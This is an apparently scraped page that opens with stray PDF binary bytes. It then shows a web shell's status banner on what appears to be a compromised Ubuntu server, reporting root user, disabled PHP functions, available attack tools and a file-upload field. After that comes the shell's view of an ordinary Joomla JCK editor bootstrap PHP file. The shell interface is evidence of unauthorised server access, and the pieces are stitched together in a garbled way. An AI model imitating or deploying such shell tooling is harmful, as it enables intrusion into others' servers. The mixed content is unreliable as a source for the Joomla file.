%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.26 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/var/www/html/old/administrator/components/com_jckman/editor/ |
Upload File : |
<?php
/*------------------------------------------------------------------------
# Copyright (C) 2005-2012 WebxSolution Ltd. All Rights Reserved.
# @license - GPLv2.0
# Author: WebxSolution Ltd
# Websites: http://www.webxsolution.com
# Terms of Use: An extension that is derived from the JoomlaCK editor will only be allowed under the following conditions: http://joomlackeditor.com/terms-of-use
# ------------------------------------------------------------------------*/
define('DS',DIRECTORY_SEPARATOR);
define('CKEDITOR_INCLUDES_DIR','jckeditor/includes');
//Get root folder
$dir = explode(DS,dirname(__FILE__));
array_splice($dir,-3);
$base_folder = implode(DS,$dir);
$base_path = '';
$user = '';
define( '_JEXEC', 1 );
define('JPATH_BASE',$base_folder);
//Needed for 1.6
define('JDEBUG',false);
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
/* Load in the configuation file */
require_once( JPATH_CONFIGURATION .DS.'configuration.php' );
/*load loader class */
require_once(JPATH_LIBRARIES .DS.'loader.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
/*load joomla loader class */
require_once(JPATH_LIBRARIES .DS.'loader.php' );
require_once(JPATH_LIBRARIES .DS.'joomla'.DS .'methods.php' );
jimport('joomla.base.object');
jimport('joomla.filter.filterinput');
jimport('joomla.factory');
jimport('joomla.error.error');
jimport('joomla.environment.uri');
jimport('joomla.environment.request');
jimport('joomla.environment.response');
jimport('joomla.language.language');
jimport('joomla.user.user');
jimport('joomla.application.component.model');
jimport('joomla.database.table');
jimport('joomla.html.parameter');
jimport('joomla.plugin.helper');
jimport('joomla.event.dispatcher');
/* load JCK loader class*/
require_once (CKEDITOR_INCLUDES_DIR . '/loader.php');
//lets set DB configuration
$config = new JConfig();
// Get the global configuration object
$registry =& JFactory::getConfig();
// Load the configuration values into the registry
$registry->loadObject($config);
//set session
jckimport('ckeditor.user.user');
$session =& JCKUser::getSession();
// system events trigger events
jckimport('ckeditor.plugins.helper');
//load CK System plugins
JCKPluginsHelper::storePlugins('default');
$dispatcher =& JDispatcher::getInstance();
$plugin =& JPluginHelper::getPlugin('editors','jckeditor');
$params = new JParameter($plugin->params);
//import System plugin first
JCKPluginsHelper::importPlugin('default');
$dispatcher->trigger('intialize',array(&$params));
$plugin->params = $params->toString();